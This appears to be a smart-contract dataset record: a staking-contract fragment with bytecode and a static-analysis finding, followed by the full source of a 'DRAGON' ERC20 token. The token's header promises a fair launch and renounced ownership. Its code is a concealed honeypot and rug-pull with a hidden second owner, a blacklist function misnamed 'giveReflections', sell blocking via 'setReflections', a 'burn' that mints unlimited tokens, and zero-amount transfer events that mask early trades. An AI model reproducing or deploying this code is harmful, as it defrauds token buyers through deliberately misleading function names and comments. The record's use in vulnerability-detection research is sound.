Stake memory stake = stakes[stakeId]; uint256 currentDay = hexContract.currentDay(); require(currentDay >= stake.unlockDay, "STAKE_NOT_MATURE"); uint256 prevHearts = hexContract.balanceOf(address(this)); hexContract.stakeEnd(stakeIndex, stakeId); uint256 newHearts = hexContract.balanceOf(address(this)); uint72 heartsEarned = uint72(newHearts - prevHearts); hexContract.transfer(address(stake.receiver), heartsEarned); stake.receiver.onEarningsMinted(stakeId, heartsEarned); emit MintEarnings(stakeId, stake.receiver, heartsEarned); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80632eae895d1461005157806375591bbb146100ca578063b2496f61146100df578063fa9f3ed0146100f2575b600080fd5b61009561005f366004610f00565b60016020526000908152604090205462ffffff8116906301000000900473ffffffffffffffffffffffffffffffffffffffff1682565b6040805162ffffff909316835273ffffffffffffffffffffffffffffffffffffffff9091166020830152015b60405180910390f35b6100dd6100d8366004610e74565b610137565b005b6100dd6100ed366004610ed1565b6106d9565b6000546101129073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100c1565b6002546001146101a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f4c4f434b4544000000000000000000000000000000000000000000000000000060448201526064015b60405180910390fd5b60006002556101d7847fc6938efe00000000000000000000000000000000000000000000000000000000610c57565b61023d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f554e535550504f525445445f5245434549564552000000000000000000000000604482015260640161019f565b6000546040517f23b872dd0000000000000000000000000000000000000000000000000000000081523360048201523060248201526044810184905273ffffffffffffffffffffffffffffffffffffffff909116906323b872dd90606401602060405180830381600087803b1580156102b557600080fd5b505af11580156102c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ed9190610e5a565b506000546040517f52a438b8000000000000000000000000000000000000000000000000000000008152600481018490526024810183905273ffffffffffffffffffffffffffffffffffffffff909116906352a438b890604401600060405180830381600087803b15801561036157600080fd5b505af1158015610375573d6000803e3d6000fd5b5050600080546040517f33060d9000000000000000000000000000000000000000000000000000000000815230600482015291935073ffffffffffffffffffffffffffffffffffffffff1691506333060d909060240160206040518083038186803b1580156103e357600080fd5b505afa1580156103f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041b9190610eb9565b6000805491925090819081908190819073ffffffffffffffffffffffffffffffffffffffff16632607443b3061045260018a611009565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff9092166004830152602482015260440160e06040518083038186803b1580156104bb57600080fd5b505afa1580156104cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f39190610f23565b5050945094509450945094506000818361050d9190610fe3565b61ffff1690506000600160008864ffffffffff1664ffffffffff16815260200190815260200160002090508b8160000160036101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818160000160006101000a81548162ffffff021916908362ffffff1602179055508b73ffffffffffffffffffffffffffffffffffffffff1663272bab35888d89896040518563ffffffff1660e01b815260040161061e949392919064ffffffffff94909416845273ffffffffffffffffffffffffffffffffffffffff92909216602084015268ffffffffffffffffff908116604084015216606082015260800190565b600060405180830381600087803b15801561063857600080fd5b505af115801561064c573d6000803e3d6000fd5b505050507f211c4d3ebedd9cca7b9ef45b2625a6da7b9f2a422663d3a2b060029bfd5b4b39878d876040516106be9392919064ffffffffff93909316835273ffffffffffffffffffffffffffffffffffffffff91909116602083015268ffffffffffffffffff16604082015260600190565b60405180910390a15050600160025550505050505050505050565b600254600114610745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f4c4f434b45440000000000000000000000000000000000000000000000000000604482015260640161019f565b6000600281905564ffffffffff8216815260016020908152604080832081518083018352905462ffffff8116825273ffffffffffffffffffffffffffffffffffffffff6301000000909104811682850152845483517f5c9302c90000000000000000000000000000000000000000000000000000000081529351929594911692635c9302c99260048083019392829003018186803b1580156107e657600080fd5b505afa1580156107fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081e9190610eb9565b825190915062ffffff16811015610891576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5354414b455f4e4f545f4d415455524500000000000000000000000000000000604482015260640161019f565b600080546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff909116906370a082319060240160206040518083038186803b1580156108fb57600080fd5b505afa15801561090f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109339190610eb9565b6000546040517f343009a20000000000000000000000000000000000000000000000000000000081526004810188905264ffffffffff8716602482015291925073ffffffffffffffffffffffffffffffffffffffff169063343009a290604401600060405180830381600087803b1580156109ad57600080fd5b505af11580156109c1573d6000803e3d6000fd5b5050600080546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015291935073ffffffffffffffffffffffffffffffffffffffff1691506370a082319060240160206040518083038186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a679190610eb9565b90506000610a758383611009565b60005460208701516040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff918216600482015268ffffffffffffffffff84166024820152929350169063a9059cbb90604401602060405180830381600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b319190610e5a565b5060208501516040517fe047ec6c00000000000000000000000000000000000000000000000000000000815264ffffffffff8816600482015268ffffffffffffffffff8316602482015273ffffffffffffffffffffffffffffffffffffffff9091169063e047ec6c90604401600060405180830381600087803b158015610bb757600080fd5b505af1158015610bcb573d6000803e3d6000fd5b505050507fef0826b1c09ab87a89cac386c4fedede6c2faaec682ad9e9a0308402695765e486866020015183604051610c419392919064ffffffffff93909316835273ffffffffffffffffffffffffffffffffffffffff91909116602083015268ffffffffffffffffff16604082015260600190565b60405180910390a1505060016002555050505050565b6000610c6283610c7c565b8015610c735750610c738383610ce3565b90505b92915050565b6000610ca8827f01ffc9a700000000000000000000000000000000000000000000000000000000610ce3565b8015610cdb5750610cd9827fffffffff00000000000000000000000000000000000000000000000000000000610ce3565b155b90505b919050565b604080517fffffffff00000000000000000000000000000000000000000000000000000000831660248083019190915282518083039091018152604490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f01ffc9a7000000000000000000000000000000000000000000000000000000001790529051600091908290819073ffffffffffffffffffffffffffffffffffffffff87169061753090610d9d908690610faa565b6000604051808303818686fa925050503d8060008114610dd9576040519150601f19603f3d011682016040523d82523d6000602084013e610dde565b606091505b5091509150602081511015610df95760009350505050610c76565b818015610e15575080806020019051810190610e159190610e5a565b9695505050505050565b80518015158114610cde57600080fd5b805161ffff81168114610cde57600080fd5b805168ffffffffffffffffff81168114610cde57600080fd5b600060208284031215610e6b578081fd5b610c7382610e1f565b60008060008060808587031215610e89578283fd5b8435610e948161104f565b93506020850135610ea48161104f565b93969395505050506040820135916060013590565b600060208284031215610eca578081fd5b5051919050565b60008060408385031215610ee3578182fd5b823591506020830135610ef581611074565b809150509250929050565b600060208284031215610f11578081fd5b8135610f1c81611074565b9392505050565b600080600080600080600060e0888a031215610f3d578283fd5b8751610f4881611074565b9650610f5660208901610e41565b9550610f6460408901610e41565b9450610f7260608901610e2f565b9350610f8060808901610e2f565b9250610f8e60a08901610e2f565b9150610f9c60c08901610e1f565b905092959891949750929550565b60008251815b81811015610fca5760208186018101518583015201610fb0565b81811115610fd85782828501525b509190910192915050565b600061ffff80831681851680830382111561100057611000611020565b01949350505050565b60008282101561101b5761101b611020565b500390565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff8116811461107157600080fd5b50565b64ffffffffff8116811461107157600080fdfea2646970667358221220f9a527b20ce826561739ffac835e7131070dde9f270bd35434a226e920ce425864736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
6,793
0x9f94faf6d0d066f24b7a5f95322c3802c02591ed
/* ████████▄ ▄████████ ▄████████ ▄██████▄ ▄██████▄ ███▄▄▄▄ ███ ▀███ ███ ███ ███ ███ ███ ███ ███ ███ ███▀▀▀██▄ ███ ███ ███ ███ ███ ███ ███ █▀ ███ ███ ███ ███ ███ ███ ▄███▄▄▄▄██▀ ███ ███ ▄███ ███ ███ ███ ███ ███ ███ ▀▀███▀▀▀▀▀ ▀███████████ ▀▀███ ████▄ ███ ███ ███ ███ ███ ███ ▀███████████ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ████████▀ ███ ███ ███ █▀ ████████▀ ▀██████▀ ▀█ █▀ ███ ███ DRAGON is a new ERC20/Eth Token that is used for the Dungeons and Dragons Play to earn game. 5% Tax for marketing & buyback + burn Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced. 50% Supply Burned on Launch 100% Fair Launch - no presale, no whitelist Join the telegram or visit our site for more info */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Dragon is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 4500000000000*10**18; string public _name = "DRAGON"; string public _symbol= "DRAGON"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xa353f28300C40a6954E8248D614a82048663E1eF); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 500000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611db3565b6104fd565b60405161016e9190611e0c565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190611ec0565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f0e565b6105b4565b6040516101d69190611f69565b60405180910390f35b3480156101eb57600080fd5b50610206600480360381019061020191906120cc565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a9190611e0c565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612115565b610723565b6040516102679190611f69565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612184565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d49190611e0c565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b6004803603810190610316919061219f565b610a53565b6040516103289190611e0c565b60405180910390f35b34801561033d57600080fd5b506103586004803603810190610353919061219f565b610a6b565b6040516103659190611e0c565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b60405161039091906121db565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190611ec0565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f0e565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f919061219f565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f0e565b610e67565b60405161044a9190611f69565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190611ec0565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611417565b6040516104b79190611ec0565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611db3565b6114a5565b6040516104f49190611e0c565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461053190612225565b80601f016020809104026020016040519081016040528092919081815260200182805461055d90612225565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c161152c565b8484611534565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a8612257565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d906122b5565b915050610687565b5050565b6000600654905090565b60006107308484846116ff565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b61152c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290612370565b60405180910390fd5b61080f8561080761152c565b858403611534565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae890612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490612225565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123dc565b60405180910390fd5b610c9960008383611d3c565b8060066000828254610cab91906123fc565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906123fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d659190611e0c565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e7461152c565b84846116ff565b6001905092915050565b60088054610e9290612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe90612225565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061249e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611534565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906124d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906124d3565b6040518363ffffffff1660e01b81526004016111b5929190612500565b6020604051808303816000875af11580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906124d3565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061128130610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112c99695949392919061256e565b60606040518083038185885af11580156112e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130c91906125e4565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113d0929190612637565b6020604051808303816000875af11580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611413919061268c565b5050565b6007805461142490612225565b80601f016020809104026020016040519081016040528092919081815260200182805461145090612225565b801561149d5780601f106114725761010080835404028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b9061272b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b906127bd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f29190611e0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561176f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117669061284f565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117cd57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118715750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187a57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119cc57600960009054906101000a900460ff16806119345750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061198c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c2906128e1565b60405180910390fd5b5b6c064f964e68233a76f520000000811080611a345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ac257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611acb57600080fd5b611ad6838383611d3c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390612973565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bef91906123fc565b92505081905550436004600b54611c0691906123fc565b118015611c605750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611cd0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611cc39190612993565b60405180910390a3611d36565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2d9190611e0c565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8082611d55565b9050919050565b611d9081611d75565b8114611d9b57600080fd5b50565b600081359050611dad81611d87565b92915050565b60008060408385031215611dca57611dc9611d4b565b5b6000611dd885828601611d9e565b9250506020611de985828601611d9e565b9150509250929050565b6000819050919050565b611e0681611df3565b82525050565b6000602082019050611e216000830184611dfd565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b83811115611e70